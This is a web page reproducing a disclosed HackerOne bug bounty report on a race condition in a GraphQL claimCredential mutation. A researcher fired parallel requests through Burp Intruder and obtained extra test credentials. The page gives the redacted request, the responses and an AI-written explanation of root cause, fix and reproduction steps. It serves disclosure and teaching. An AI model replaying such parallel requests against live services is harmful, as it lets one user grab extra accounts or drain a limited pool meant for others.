Skip to content
Race condition Disclosed report Intermediate

Race condition in claiming program credentials

A GraphQL mutation that claims program test credentials could be fired repeatedly in parallel, and the server handed out more than one set of credentials to the same user. An attacker could collect multiple test accounts and possibly exhaust a limited pool so other researchers could not claim one.

flashdisk Follow

Originally disclosed on HackerOne

  • Triaged in 9 days
  • Fixed in 37 days
  • Paid in 15 days
  • Disclosed after 4 months

Hi,

Summary: I was invited to a private program and I tried to get test credentials so a request as follows was sent to your server:

POST /graphql HTTP/1.1
Host: hackerone.com
Connection: close
Content-Length: 778
Accept: */*
X-Auth-Token: ████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Origin: https://hackerone.com
Content-Type: application/json
Referer: https://hackerone.com/█████
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,he;q=0.8
Cookie: __cfduid=███████; _cfuid=███████; _ga=████; _mkto_trk=id:████████

{"query":"mutation Claim_credential_mutation($input_0:ClaimCredentialInput!,$types_1:[ErrorTypeEnum]!,$first_2:Int!) {claimCredential(input:$input_0) {clientMutationId,...F4,...F5}} fragment F0 on Team {id,claimed_credential {credentials,account_details,id}} fragment F1 on Node {id} fragment F2 on ResourceInterface {...F0,...F1} fragment F3 on Team {id} fragment F4 on ClaimCredentialPayload {team {id,...F2,...F3}} fragment F5 on ClaimCredentialPayload {team {claimed_credential {id},id},was_successful,_errors4fkckF:errors(types:$types_1,first:$first_2) {edges {node {type,field,message,id},cursor},pageInfo {hasNextPage,hasPreviousPage}}}","variables":{"input_0":{"team_id":"█████=","clientMutationId":"1"},"types_1":"ARGUMENT","first_2":100}}

and I then sent this request to burp suite intruder and got 22 responses , 21 of them had the same response as this:

{"data":{"claimCredential":{"clientMutationId":"1","team":{"claimed_credential":{"id":"██████████","credentials":{"email":"██████","password":"███████","private_id":"██████"},"account_details":null},"id":"██████="},"was_successful":false,"_errors4fkckF":{"edges":[],"pageInfo":{"hasNextPage":false,"hasPreviousPage":false}}}}}

and the last one was holding a different set of credentials as this:

{"data":{"claimCredential":{"clientMutationId":"1","team":{"claimed_credential":{"id":"███████","credentials":{"email":"████████","password":"███████","private_id":"███"},"account_details":null},"id":"██████████="},"was_successful":true,"_errors4fkckF":{"edges":[],"pageInfo":{"hasNextPage":false,"hasPreviousPage":false}}}}}

in this case I was able to have multiple test credentials and maybe block another user from getting a test account if the program provided a limited amount of test accounts.

thanks!

Impact

claiming multiple credentials for the same user

The original report as published on HackerOne, by flashdisk. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the claim operation checked whether the user already held a credential and then wrote the new claim as separate steps, without a lock or unique constraint, so concurrent requests all passed the check.

Impact

The researcher could obtain several test credentials for one account and may be able to stop other users from claiming a test account when the pool is limited.

What the attacker needed

Invited to a private program; program offers claimable test credentials

The fix

The claim should be made atomic so only one credential is issued per user.

How it was found

  1. Send the claimCredential GraphQL mutation for the program's team.
  2. Send the same request many times in parallel using an intruder-style tool.
  3. Observe that most responses report failure but one reports success with a different credential set.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Sending many identical claim requests at once made the server hand out more than one test login to the same user, which is a race condition.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by flashdisk

View all

9 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.